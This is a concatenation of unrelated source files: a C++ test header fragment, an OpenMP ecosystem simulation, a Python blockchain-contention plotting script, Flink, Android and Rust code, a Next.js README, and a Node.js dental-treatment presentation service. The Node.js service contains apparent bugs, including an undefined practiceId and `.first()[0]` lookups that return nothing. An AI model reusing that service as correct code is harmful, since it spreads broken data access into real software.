Tests the GetState method. */ bool TestGetState(); /** * @brief Tests the GetStatus method. */ bool TestGetStateStatus(); /** * @brief Tests the EventTriggered method. */ bool TestEventTriggered(); /** * @brief Tests the EventTriggered method through the SendMessage interface. */ bool TestEventTriggered_SendMessage(); /** * @brief Tests the EventTriggered method through the SendMessage interface and wait for a replay. */ bool TestEventTriggered_SendMessage_WaitReply(); /** * @brief Tests the EventTriggered method through the SendMessage and verifies that it goes into an error state. */ bool TestEventTriggered_SendMessage_GoToError(); /** * @brief Tests the EventTriggered method through the SendMessage and verifies that it goes into an error state after a timeout. */ bool TestEventTriggered_SendMessage_GoToError_Timeout(); /** * @brief Tests the EventTriggered method through the SendMessage interface and by forcing two state machines to interchange information between them. */ bool TestEventTriggered_SendMessage_PingPong(); }; /*---------------------------------------------------------------------------*/ /* Inline method definitions */ /*---------------------------------------------------------------------------*/ #endif /* STATEMACHINETEST_H_ */
#include <stdio.h> #include <math.h> #include <stdlib.h> #include <omp.h> int NowYear; // 2022 - 2027 int NowMonth; // 0 - 11 float NowPrecip; // inches of rain per month float NowTemp; // temperature this month float NowHeight; // grain height in inches int NowNumDeer; // number of deer in the current population int NowNumGoat; // number of goats in the current population const float GRAIN_GROWS_PER_MONTH = 8.0; const float ONE_DEER_EATS_PER_MONTH = 1.0; const float ONE_GOAT_EATS_PER_MONTH = 0.2; const float AVG_PRECIP_PER_MONTH = 7.0; // average const float AMP_PRECIP_PER_MONTH = 6.0; // plus or minus const float RANDOM_PRECIP = 2.0; // plus or minus noise const float AVG_TEMP = 60.0; // average const float AMP_TEMP = 20.0; // plus or minus const float RANDOM_TEMP = 10.0; // plus or minus noise const float MIDTEMP = 40.0; const float MIDPRECIP = 10.0; unsigned int seed = 0; float Ranf(unsigned int *seedp, float low, float high); int Ranf(unsigned int *seedp, int ilow, int ihigh); void Deer(); void Grain(); void Watcher(); void Goat(); float SQR(float x) { return x * x; } int main(int argc, char *argv[]) { // starting date and time: NowMonth = 0; NowYear = 2022; // starting state (feel free to change this if you want): NowNumDeer = 1; NowNumGoat = 3; NowHeight = 5.; //omp_set_num_threads( 4 ); // same as # of sections omp_set_num_threads( 4 ); #pragma omp parallel sections { #pragma omp section { Deer( ); } #pragma omp section { Grain( ); } #pragma omp section { Watcher( ); } #pragma omp section { Goat( ); // your own } } // implied barrier -- all functions must return in order // to allow any of them to get past here } float Ranf( unsigned int *seedp, float low, float high ) { float r = (float) rand_r( seedp ); // 0 - RAND_MAX return( low + r * ( high - low ) / (float)RAND_MAX ); } int Ranf( unsigned int *seedp, int ilow, int ihigh ) { float low = (float)ilow; float high = (float)ihigh + 0.9999f; return (int)( Ranf(seedp, low,high) ); } void Deer() { while( NowYear < 2028 ) { // compute a temporary next-value for this quantity // based on the current state of the simulation: int nextNumDeer = NowNumDeer; int carryingCapacity = (int)( NowHeight ); if( nextNumDeer < carryingCapacity ) nextNumDeer++; else if( nextNumDeer > carryingCapacity ) nextNumDeer--; if( nextNumDeer < 0 ) nextNumDeer = 0; // DoneComputing barrier: #pragma omp barrier NowNumDeer = nextNumDeer; // DoneAssigning barrier: #pragma omp barrier //. . . // DonePrinting barrier: #pragma omp barrier //. . . } } void Grain() { while( NowYear < 2028 ) { // compute a temporary next-value for this quantity // based on the current state of the simulation: float ang = ( 30.*(float)NowMonth + 15. ) * ( M_PI / 180. ); float temp = AVG_TEMP - AMP_TEMP * cos( ang ); NowTemp = temp + Ranf( &seed, -RANDOM_TEMP, RANDOM_TEMP ); float tempFactor = exp( -SQR( ( NowTemp - MIDTEMP ) / 10. ) ); float precip = AVG_PRECIP_PER_MONTH + AMP_PRECIP_PER_MONTH * sin( ang ); NowPrecip = precip + Ranf( &seed, -RANDOM_PRECIP, RANDOM_PRECIP ); if( NowPrecip < 0. ) NowPrecip = 0.; float precipFactor = exp( -SQR( ( NowPrecip - MIDPRECIP ) / 10. ) ); float nextHeight = NowHeight; nextHeight += tempFactor * precipFactor * GRAIN_GROWS_PER_MONTH; nextHeight -= (float)NowNumDeer * ONE_DEER_EATS_PER_MONTH; nextHeight -= (float)NowNumGoat * ONE_GOAT_EATS_PER_MONTH; if( nextHeight < 0. ) nextHeight = 0.; // DoneComputing barrier: #pragma omp barrier NowHeight = nextHeight; // DoneAssigning barrier: #pragma omp barrier //. . . // DonePrinting barrier: #pragma omp barrier //. . . } } void Watcher() { float temp_c, height_cm, precip_cm; while( NowYear < 2028 ) { // compute a temporary next-value for this quantity // based on the current state of the simulation: // DoneComputing barrier: #pragma omp barrier //. . . // DoneAssigning barrier: #pragma omp barrier temp_c = (NowTemp - 32.) * 5. / 9.; height_cm = 2.54 * NowHeight; precip_cm = 2.54 * NowPrecip; NowMonth++; if (NowMonth == 12) { NowMonth = 0; NowYear++; } //fprintf(stderr, "Month %d : Year %d ; Temperature = %.2f ; Precipitation = %.2f ; Height of grain = %.2f ; Number of deer = %d ; Number of goats = %d\n", // NowMonth, NowYear, temp_c, precip_cm, height_cm, NowNumDeer, NowNumGoat); fprintf(stderr, "%d,%.2f,%.2f,%.2f,%d,%d\n", NowMonth, temp_c, precip_cm, height_cm, NowNumDeer, NowNumGoat); // DonePrinting barrier: #pragma omp barrier //. . . } } /* I chose my agent to be goats. The carrying capacity will be defined by 1/3 of the height of the grain. The goat population will decrease when they're above carrying capacity. Otherwise, the population increases. */ void Goat() { while( NowYear < 2028 ) { // compute a temporary next-value for this quantity // based on the current state of the simulation: int nextNumGoat = NowNumGoat; int carryingCapacity = (int)( NowHeight / 3 ); if( nextNumGoat < carryingCapacity ) nextNumGoat++; else if( nextNumGoat > carryingCapacity ) nextNumGoat--; if( nextNumGoat < 0 ) nextNumGoat = 0; // DoneComputing barrier: #pragma omp barrier NowNumGoat = nextNumGoat; // DoneAssigning barrier: #pragma omp barrier //. . . // DonePrinting barrier: #pragma omp barrier //. . . } }
import os import json import pandas as pd import matplotlib.pyplot as plt NUM_SUBPLOTS = 7 FILE = os.path.join(os.pardir, 'epoch_density_data.json') with open(FILE, 'r') as f: json_ = json.load(f); BULLSHARK_QUEST_1_START = 85 BULLSHARK_QUEST_1_END = 106 BULLSHARK_QUEST_2_START = 107 BULLSHARK_QUEST_2_END = 146 BULLSHARK_QUEST_3_START = 183 BULLSHARK_QUEST_3_END = 211 WINTER_QUEST_START = 250 WINTER_QUEST_END = 258 MARKER_EVERY = 5 def plot_quests(ax, alpha=0.3, zorder=0, label=True): ax.axvspan(BULLSHARK_QUEST_1_START, BULLSHARK_QUEST_1_END, alpha=alpha, color='red', label='Bullshark Quest 1' if label else None, zorder=0) ax.axvspan(BULLSHARK_QUEST_2_START, BULLSHARK_QUEST_2_END, alpha=alpha, color='green', label='Bullshark Quest 2' if label else None, zorder=0) ax.axvspan(BULLSHARK_QUEST_3_START, BULLSHARK_QUEST_3_END, alpha=alpha, color='blue', label='Bullshark Quest 3' if label else None, zorder=0) ax.axvspan(WINTER_QUEST_START, WINTER_QUEST_END, alpha=alpha, color='cyan', label='Winter Quest' if label else None, zorder=0) def plot_fig( ax, y, start_from=0, quests=False, linewidth=2, linestyle='-', color='black', marker='', markersize=0, markevery=1, label='', alpha=0.3, add_y0_line=False, add_y1_line=False, title='', xlabel='', ylabel='', minorticks=False, logscale=False, legend=False, ): if add_y0_line: ax.axhline(y=0, linestyle=':', linewidth=1, color='black', zorder=1) if add_y1_line: ax.axhline(y=1, linestyle=':', linewidth=1, color='black', zorder=1) ax.plot( y[start_from:], linewidth=linewidth, linestyle=linestyle, color=color, marker=marker, markersize=markersize, markevery=markevery, label=label if label else None, zorder=2, ) if quests: plot_quests(ax, alpha=alpha, zorder=0) if title: ax.set_title(title) if xlabel: ax.set_xlabel(xlabel) if ylabel: ax.set_ylabel(ylabel) if logscale: ax.set_yscale('log') if minorticks: ax.minorticks_on() if legend: ax.legend() main_df = pd.DataFrame.from_dict(json_['epochs'], orient='index') main_df.index = main_df.index.astype(int); interval_df = pd.json_normalize(main_df['avg_interval_data']) print('Total number of scanned TXs: {}'.format(main_df['num_txs_total'].sum())) plt.rcParams.update({'font.size': 14, 'font.family': 'sans-serif'}) fig, (ax1, ax2, ax3, ax4, ax5, ax6, ax7) = plt.subplots(nrows=NUM_SUBPLOTS, ncols=1, figsize=(10, NUM_SUBPLOTS * 7)) # Plot the total number of TXs and number of TXs touching shared objects ----- plot_fig( ax=ax1, y=main_df['num_txs_total'], start_from=20, label='Total', ylabel='TX number', xlabel='Epoch', minorticks=True, logscale=True, ) plot_fig( ax=ax1, y=main_df['num_txs_touching_shared_objs'], start_from=20, quests=True, alpha=0.3, linestyle='--', color='blue', label='Touch shared obj.', legend=True, ) # ------------------------------------------------------------------------------ # Plot the number of TXs touching shared objects and number of TXs touching at # least one shared object by a mutable reference #plot_fig( # ax=ax2, # y=main_df['num_txs_touching_shared_objs'], # start_from=20, # label='Touch shared obj.', # ylabel='TX number', # minorticks=True, # logscale=True, #) #plot_fig( # ax=ax2, # y=main_df['num_txs_touching_at_least_one_shared_obj_by_mut'], # start_from=20, # quests=True, # alpha=0.3, # linestyle='', # marker='+', # markersize='7', # markevery=2, # color='red', # label='Touch >=1 by &mut', # legend=True, #) # ------------------------------------------------------------------------------ # Plot the ratio of the number of TXs touching at least one shared object by a # mutable reference to the number of shared-object transactions plot_fig( ax=ax2, y=main_df['num_txs_touching_at_least_one_shared_obj_by_mut'] / main_df['num_txs_touching_shared_objs'], start_from=20, quests=True, add_y1_line=True, xlabel='Epoch', title='Ratio of TX num. touching >=1 shared obj. by &mut to shared-object TX num.', minorticks=True, logscale=False, legend=True, ) # ------------------------------------------------------------------------------ # Plot the density of shared-object TXs and density of transactions touching # at least one shared object by a mutable reference plot_fig( ax=ax3, y=main_df['density'], start_from=20, xlabel='Epoch', label='All shared obj.', ylabel='Density', add_y1_line=True, minorticks=True, ) plot_fig( ax=ax3, y=main_df['density_mut'], start_from=20, quests=True, alpha=0.3, linestyle='', marker='+', markersize=7, markevery=2, color='red', label='>=1 by &mut', legend=True, ) # ------------------------------------------------------------------------------ # Plot of the number of shared object per epoch plot_fig( ax=ax4, y=main_df['num_shared_objects_total'], start_from=20, ylabel='Shared object number', xlabel='Epoch', label='Total', minorticks=True, logscale=True, ) plot_fig( ax=ax4, y=main_df['num_shared_objects_per_epoch'], start_from=20, quests=True, linestyle='--', color='blue', label='Per epoch', legend=True, ) # ------------------------------------------------------------------------------ # Plot the average contention degree ax5.axhline(y=0, linestyle=':', linewidth=1, color='black') ax5.axhline(y=1, linestyle='-.', linewidth=1, color='black') for col in interval_df: if 'degree' in col: ax5.plot(interval_df[col][20:], linewidth=2, label='Interval: {} checkpoints'.format(col.split('.')[0])) ax5.set_title('Ratio of shared-obj. TX num. to shared obj. num. touched within interval') ax5.set_ylabel('Avg contention degree') ax5.minorticks_on() ax5.set_yscale('log') plot_quests(ax=ax5, label=False) ax5.legend() # ------------------------------------------------------------------------------ # Plot the average contended fraction ax6.axhline(y=0, linestyle=':', linewidth=1, color='black') for col in interval_df: if not 'degree' in col: ax6.plot(interval_df[col][20:], linewidth=2, label='Interval: {} checkpoints'.format(col.split('.')[0])) ax6.set_title('Ratio of shared obj. num. touched by >1 TX to shared obj. num. within interval') ax6.set_xlabel('Epoch') ax6.set_ylabel('Avg contended fraction') ax6.minorticks_on() # ax6.set_yscale('log') plot_quests(ax=ax6, label=False) ax6.legend() # ------------------------------------------------------------------------------ # Plot the average number of shared objects per TX plot_fig( ax=ax7, y=main_df['num_shared_objects_per_tx'], start_from=20, quests=True, add_y1_line=True, xlabel='Epoch', ylabel='Avg shared obj. number', title='Number of shared objects touched by one TX on average', minorticks=True, logscale=False, legend=True, ) # ------------------------------------------------------------------------------ fig.tight_layout() plt.savefig(os.path.join(os.pardir, 'figure.png'), format='png')
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.flink.graph.asm.translate; import org.apache.flink.api.common.functions.MapFunction; import org.apache.flink.types.IntValue; import org.apache.flink.types.LongValue; /** * Translate {@link LongValue} to {@link IntValue}. * * Throws {@link RuntimeException} for integer overflow. */ public class LongValueToIntValue implements MapFunction<LongValue, IntValue> { private IntValue output = new IntValue(); @Override public IntValue map(LongValue value) throws Exception { long val = value.getValue(); if (val > Integer.MAX_VALUE) { throw new RuntimeException("LongValue input overflows IntValue output"); } output.setValue((int) val); return output; } }
# Project ReadMe: Photography and AI Art Showcase Platform 🌐📸 ## Overview This project is a cutting-edge web platform 🚀 for showcasing a vibrant array of photography and AI-generated art 🖼️. It demonstrates a blend of front-end innovation and efficient media management. ## Key Technologies - **React & Next.js**: For building dynamic and responsive user interfaces 🔥. - **Masonry Layout (@mui/lab/Masonry)**: Creating visually appealing and responsive layouts 🧱. - **Cloudinary**: Efficient image optimization and management in the cloud ☁️. - **Yet Another React Lightbox**: Adding interactive and immersive image viewing experiences 🌟. - **Fetch API**: Handling data fetching and state management seamlessly 💻. ## Contribution Guidelines 🤝 Want to contribute? Here's how: 1. Clone the repository: `git clone https://github.com/RW2023/rw-images` 2. Branch out: `git checkout -b new-feature` 3. Commit your changes: `git commit -m "New feature"` 4. Push and open a pull request. ## Setup for Local Development 💻 1. Ensure Node.js and npm are installed. 2. Clone the project: `git clone https://github.com/RW2023/rw-images` 3. Install dependencies: `npm install` 4. Fire up the server: `npm run dev` This platform is a perfect showcase of top-notch web development skills, problem-solving abilities, and effective use of modern technologies for a streamlined and engaging user experience. 🌟👩‍💻👨‍💻 This is a [Next.js](https://nextjs.org/) project bootstrapped with [`create-next-app`](https://github.com/vercel/next.js/tree/canary/packages/create-next-app). ## Getting Started First, run the development server: ```bash npm run dev # or yarn dev # or pnpm dev # or bun dev ``` Open [http://localhost:3000](http://localhost:3000) with your browser to see the result. You can start editing the page by modifying `app/page.tsx`. The page auto-updates as you edit the file. This project uses [`next/font`](https://nextjs.org/docs/basic-features/font-optimization) to automatically optimize and load Inter, a custom Google Font. ## Learn More To learn more about Next.js, take a look at the following resources: - [Next.js Documentation](https://nextjs.org/docs) - learn about Next.js features and API. - [Learn Next.js](https://nextjs.org/learn) - an interactive Next.js tutorial. You can check out [the Next.js GitHub repository](https://github.com/vercel/next.js/) - your feedback and contributions are welcome! ## Deploy on Vercel The easiest way to deploy your Next.js app is to use the [Vercel Platform](https://vercel.com/new?utm_medium=default-template&filter=next.js&utm_source=create-next-app&utm_campaign=create-next-app-readme) from the creators of Next.js. Check out our [Next.js deployment documentation](https://nextjs.org/docs/deployment) for more details.
package com.stemgon.stemly.contacts.adapters; import android.content.Context; import android.util.Log; import android.view.LayoutInflater; import android.view.ViewGroup; import androidx.annotation.NonNull; import androidx.recyclerview.widget.RecyclerView; import com.stemgon.stemly.R; import com.stemgon.stemly.contacts.holders.ContactHolder; import com.stemgon.stemly.contacts.models.Contact; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; public class ContactRecyclerAdapter extends RecyclerView.Adapter<ContactHolder> { ArrayList<Contact> contacts; Context context; public ContactRecyclerAdapter(ArrayList<Contact> contacts, Context context) { this.contacts = contacts; this.context = context; } @NonNull @Override public ContactHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { return new ContactHolder(LayoutInflater.from(context).inflate(R.layout.single_contact, parent, false)); } @Override public void onBindViewHolder(@NonNull ContactHolder holder, int position) { holder.fullName.setText(contacts.get(position).getFullName()); holder.tagline.setText(contacts.get(position).getTagline()); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MMM dd"); String dateTime = simpleDateFormat.format(contacts.get(position).getCreatedAt()).toString(); holder.dateView.setText(dateTime); SimpleDateFormat simpleDateFormat2 = new SimpleDateFormat("EEEE dd, MMM yyyy"); String dateTime2 = simpleDateFormat2.format(contacts.get(position).getCreatedAt()).toString(); holder.fullDate.setText(dateTime2); // holder.tagline.setText("Senior Software Engineer Position"); holder.contactIcon.setImageResource(R.drawable.baseline_done_24); // Log.d("INFO", contacts.get(position).getTagline()); } @Override public int getItemCount() { return contacts.size(); } }
const { MAX_PAGINATION_SIZE, MAX_FILE_SIZE, ALLOWED_PDF_EXTENSIONS } = require("../constants") const { DB } = require("../utils/db") const { Logger } = require('../utils/logger') const { error, unauthorized, notFound, ok, badRequest } = require("../utils/response") const { invalidEmail } = require("../validators/email.validator") const { shareItemValidationResult } = require("../validators/share-item.validator") const { encrypt } = require("../utils/aes") const { sendEmails } = require("../utils/email-sender") const { fileValidationResult } = require("../validators/file.validator") const { S3Manager } = require("../utils/s3") exports.listTreatments = async ({ user, patientId }) => { try { if (!user) { return unauthorized() } const patient = user.role === 2 ? user.id : patientId if (patient === null || patient === undefined) { return badRequest('Patient id parameter is null or undefined') } const treatments = (await DB.pg('Treatment') .join('TreatmentType', 'Treatment.treatmentTypeId', '=', 'TreatmentType.id') .select(DB.pg.raw(`Treatment.*, TreatmentType.name as name, TreatmentType.fee as fee`)) .where('Treatment.patientId', patient) .andWhere('TreatmentType.practiceId', practiceId) .orderBy('Treatment.id', 'desc') .limit(MAX_PAGINATION_SIZE)) return ok(treatments) } catch (err) { Logger.e("services -> peresentation.service -> listTreatments: " + err.message, err) return error() } } exports.getTreatmentById = async ({ user, id }) => { try { if (!user) { return unauthorized() } const treatment = (await DB.pg('Treatment') .join('TreatmentType', 'Treatment.treatmentTypeId', '=', 'TreatmentType.id') .select(DB.pg.raw(`TreatmentType.*, Treatment.id as treatmentId`)) .where('Treatment.id', id) .andWhere('TreatmentType.practiceId', user.practiceId) .first()) if (!treatment) { return notFound() } const addOns = await DB.pg('TreatmentAddon') .join('AddOn', 'TreatmentAddon.addOnId', '=', 'AddOn.id') .select(DB.pg.raw(`AddOn.*, TreatmentAddon.id as treatmentAddonId, TreatmentAddon.treatmentId as treatmentId, TreatmentAddon.required as required, TreatmentAddon.enabled as enabled`)) .where('TreatmentAddon.treatmentId', treatment.id) .orderBy('TreatmentAddon.id', 'desc') .limit(MAX_PAGINATION_SIZE) treatment.addOns = addOns return ok(treatment) } catch (err) { Logger.e("services -> peresentation.service -> getTreatmentById: " + err.message, err) return error() } } exports.patchTreatment = async ({ user, item }) => { let trx = undefined try { if (!user) { return unauthorized() } const patient = user.role === 2 ? user.id : item.patientId if (item?.id === null || item?.id === undefined) { return badRequest('Treatment entity is invalid') } if (item.downPaymentSlider !== undefined && item.downPaymentSlider !== null && (item.downPaymentSlider < 0 || item.downPaymentSlider > 400)) { return badRequest('Treatment Down Payment Slider value exceeds limit') } if (item.monthlyPaymentSlider !== undefined && item.monthlyPaymentSlider !== null && (item.monthlyPaymentSlider < 0 || item.monthlyPaymentSlider > 100)) { return badRequest('Treatment Down Payment Slider value exceeds limit') } const patchItem = {} item.downPaymentSlider !== undefined && item.downPaymentSlider !== null && (patchItem.downPaymentSlider = item.downPaymentSlider) item.monthlyPaymentSlider !== undefined && item.monthlyPaymentSlider !== null && (patchItem.monthlyPaymentSlider = item.monthlyPaymentSlider) trx = await DB.pg.transaction() const updatedIds = await trx('Patient').where('id', patient).andWhere('practiceId', user.practiceId).update(patchItem, ['id']) if (updatedIds?.length > 0) { if (item.selectedTreatmentId) { await trx('Treatment').where('id', item.selectedTreatmentId).update({ selected: true }) } if (item.optionalAddOns?.length > 0) { for (let addOn of item.optionalAddOns) { await trx('TreatmentAddon').where('id', addOn.id).andWhere('required', false).update({ enabled: addOn.enabled ?? false }) } } } await trx.commit() return ok(item) } catch (err) { trx && (await trx.rollback()) Logger.e("services -> peresentation.service -> patchTreatment: " + err.message, err) return error() } } exports.share = async ({ user, shareItem, origin }) => { try { if (!user || user.role === 2) { return unauthorized() } const result = shareItemValidationResult(shareItem) if (result.invalid) { return badRequest(result.msg) } const patient = (await DB.pg .column('id', 'firstName', 'lastName', 'email', 'patientNumber') .select() .from('Patient') .where('id', shareItem.patientId) .andWhere('practiceId', user.practiceId) .andWhere('status', 0) .first())[0] if (!patient) { return notFound() } if (invalidEmail(patient.email)) { return badRequest('Cannot share presentation due to invalid patient email') } const patientObj = { id: patient.id, lastName: patient.lastName, patientNumber: patient.patientNumber } const patientStr = JSON.stringify(patientObj) const encrypted = encrypt(patientStr) const encryptedData = (await DB.pg.select().from('PatientAes').where('patientId', patientObj.id).first())[0] if (!encryptedData) { await DB.pg('PatientAes').insert({ patientId: patientObj.id, iv: encrypted.iv, tag: encrypted.tag }) } const secureLink = origin + '/login/?p=' + encrypted.encrypted + '&id=' + patient.id const emailsToSend = shareItem.emails.map(email => { return { name: email, email: email, htmlContent: `<html><body>Hello, ${user.email}<br/> This is a link to the presentation of your treatment plan: ${secureLink} Please, use this link to login. <br/> Financial Consult Form <br/>` } }) await sendEmails(emailsToSend, { name: 'Financial Consult Form', email: 'fcf@gmail.com' }) //TODO: the same await DB.pg('Patient').where('id', shareItem.patientId).update({ status: 1 }) return ok(shareItem) } catch (err) { Logger.e("services -> peresentation.service -> share: " + err.message, err) return error() } } exports.accept = async ({ user, treatmentId, patientId }) => { try { if (!user) { return unauthorized() } const patient = user.role === 2 ? user.id : patientId if (patient === null || patient === undefined) { return badRequest('Patient id parameter is null or undefined') } if (treatmentId === null || treatmentId === undefined) { return badRequest('Treatment id parameter is null or undefined') } const patientDb = (await DB.pg .column('status', 'id') .select() .from('Patient') .where('patientId', patient) .andWhere('practiceId', user.practiceId) .first())[0] if (!patientDb) { return notFound() } if (patientDb.status !== 0) { return badRequest('Actual patient status must be 0') } await DB.pg('Treatment').where('id', treatmentId).andWhere('patientId', patient).update({ accepted: true }) return ok() } catch (err) { Logger.e("services -> peresentation.service -> accept: " + err.message, err) return error() } } // TODO: Build contract pdf document for GET (pdf viewer or downloading) exports.postSignedContract = async ({ user, file, patientId }) => { try { if (!user) { return unauthorized() } const patient = user.role === 2 ? user.id : patientId if (patient === null || patient === undefined) { return badRequest('Patient id parameter is null or undefined') } const fileResult = fileValidationResult(file, MAX_FILE_SIZE, ALLOWED_PDF_EXTENSIONS) if (fileResult.invalid) { return badRequest(fileResult.msg) } const patientDb = (await DB.pg .column('status', 'id') .select() .from('Patient') .where('patientId', patient) .andWhere('practiceId', user.practiceId) .first())[0] if (!patientDb) { return notFound() } if (patientDb.status !== 1) { return badRequest('Actual patient status must be 1') } const pdfUrl = await S3Manager.put('contracts', file) if (!pdfUrl) { return error() } await DB.pg('Patient').where('id', patient).update({ contractUrl: pdfUrl, status: 2 }) return ok() } catch (err) { Logger.e("services -> peresentation.service -> postSignedContract: " + err.message, err) return error() } }
// The ESA/ESO/NASA FITS Liberator - http://code.google.com/p/fitsliberator // // Copyright (c) 2004-2010, ESA/ESO/NASA. // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // * Neither the names of the European Space Agency (ESA), the European // Southern Observatory (ESO) and the National Aeronautics and Space // Administration (NASA) nor the names of its contributors may be used to // endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" // AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE // IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE // ARE DISCLAIMED. IN NO EVENT SHALL ESA/ESO/NASA BE LIABLE FOR ANY DIRECT, // INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES // (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; // LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND // ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS // SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // // // The ESA/ESO/NASA FITS Liberator uses NASA's CFITSIO library, libtiff, // TinyXML, Boost C++ Libraries, Object Access Library and Intel Threading // Building Blocks. // // // Project Executive: // Lars Lindberg Christensen // // Technical Project Manager: // Lars Holm Nielsen // // Developers: // Kaspar Kirstein Nielsen & Teis Johansen // // Technical, scientific support and testing: // Robert Hurt // Davide De Martin // #ifndef __TEXT_HPP__ #define __TEXT_HPP__ #include <iostream> namespace FitsLiberator { #ifdef UNICODE const wchar_t INDENT[] = L" "; #else const char INDENT[] = " "; #endif /** Output a new-line sequence to a specified stream. @param s Stream to output to. */ inline std::basic_ostream<char>& newline(std::basic_ostream<char>& s) { #ifdef WINDOWS s.put('\r'); s.put('\n'); #else s.put('\n'); #endif return s; } /** Output a new-line sequence to a specified stream. @param s Stream to output to. */ inline std::basic_ostream<wchar_t>& newline(std::basic_ostream<wchar_t>& s) { #ifdef WINDOWS s.put(L'\r'); s.put(L'\n'); #else s.put(L'\n'); #endif return s; } inline std::basic_ostream<char>& indent(std::basic_ostream<char>& s, int count) { while(count > 0) { s << INDENT; count -= 1; } return s; } inline std::basic_ostream<wchar_t>& indent(std::basic_ostream<wchar_t>& s, int count) { while(count > 0) { s << INDENT; count -= 1; } return s; } } #endif // __TEXT_HPP__
// Copyright 2024 Golem Cloud // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. #[allow(unused)] #[rustfmt::skip] #[cfg(not(feature = "host"))] #[cfg(feature = "stub")] mod bindings; /// Implements bincode encoders and decoders for WitValue instances #[cfg(feature = "bincode")] pub mod bincode; /// A builder interface for WitValue instances mod builder; /// Extension methods for extracting values from WitValue instances mod extractor; /// Conversion to and from JSON, in the presence of golem-wasm-ast generated type information #[cfg(feature = "json")] pub mod json; /// Protobuf-defined value types and conversion to them #[cfg(feature = "protobuf")] pub mod protobuf; /// Serde instances for WitValue #[cfg(feature = "serde")] pub mod serde; #[cfg(feature = "text")] mod text; #[cfg(feature = "typeinfo")] mod type_annotated_value; #[cfg(feature = "wasmtime")] pub mod wasmtime; use crate::builder::WitValueBuilder; pub use builder::{NodeBuilder, WitValueBuilderExtensions}; pub use extractor::{WitNodePointer, WitValueExtractor}; #[cfg(not(feature = "host"))] #[cfg(feature = "stub")] pub use bindings::golem::rpc::types::{NodeIndex, RpcError, Uri, WasmRpc, WitNode, WitValue}; #[cfg(feature = "host")] use ::wasmtime::component::bindgen; #[cfg(feature = "host")] bindgen!({ path: "wit", interfaces: " import golem:rpc/types@0.1.0; ", tracing: false, async: true, trappable_imports: true, with: { "golem:rpc/types/wasm-rpc": WasmRpcEntry } }); #[cfg(feature = "host")] pub use golem::rpc::types::{Host, HostWasmRpc, NodeIndex, RpcError, Uri, WitNode, WitValue}; #[cfg(feature = "host")] pub struct WasmRpcEntry { pub payload: Box<dyn std::any::Any + Send + Sync>, } #[cfg(feature = "typeinfo")] pub use type_annotated_value::*; #[cfg(feature = "arbitrary")] impl<'a> arbitrary::Arbitrary<'a> for Uri { fn arbitrary(u: &mut arbitrary::Unstructured) -> arbitrary::Result<Self> { let uri = u.arbitrary::<String>()?; Ok(Uri { value: uri }) } } impl PartialEq for Uri { fn eq(&self, other: &Self) -> bool { self.value == other.value } } /// A tree representation of Value - isomorphic to the protobuf Val type but easier to work with in Rust #[derive(Debug, Clone, PartialEq)] #[cfg_attr(feature = "arbitrary", derive(arbitrary::Arbitrary))] #[cfg_attr(feature = "bincode", derive(::bincode::Encode, ::bincode::Decode))] pub enum Value { Bool(bool), U8(u8), U16(u16), U32(u32), U64(u64), S8(i8), S16(i16), S32(i32), S64(i64), F32(f32), F64(f64), Char(char), String(String), List(Vec<Value>), Tuple(Vec<Value>), Record(Vec<Value>), Variant { case_idx: u32, case_value: Option<Box<Value>>, }, Enum(u32), Flags(Vec<bool>), Option(Option<Box<Value>>), Result(Result<Option<Box<Value>>, Option<Box<Value>>>), Handle { uri: Uri, resource_id: u64, }, } impl From<Value> for WitValue { fn from(value: Value) -> Self { let mut builder = WitValueBuilder::new(); build_wit_value(value, &mut builder); builder.build() } } fn build_wit_value(value: Value, builder: &mut WitValueBuilder) -> NodeIndex { match value { Value::Bool(value) => builder.add_bool(value), Value::U8(value) => builder.add_u8(value), Value::U16(value) => builder.add_u16(value), Value::U32(value) => builder.add_u32(value), Value::U64(value) => builder.add_u64(value), Value::S8(value) => builder.add_s8(value), Value::S16(value) => builder.add_s16(value), Value::S32(value) => builder.add_s32(value), Value::S64(value) => builder.add_s64(value), Value::F32(value) => builder.add_f32(value), Value::F64(value) => builder.add_f64(value), Value::Char(value) => builder.add_char(value), Value::String(value) => builder.add_string(&value), Value::List(values) => { let list_idx = builder.add_list(); let mut items = Vec::new(); for value in values { let item_idx = build_wit_value(value, builder); items.push(item_idx); } builder.finish_seq(items, list_idx); list_idx } Value::Tuple(values) => { let tuple_idx = builder.add_tuple(); let mut items = Vec::new(); for value in values { let item_idx = build_wit_value(value, builder); items.push(item_idx); } 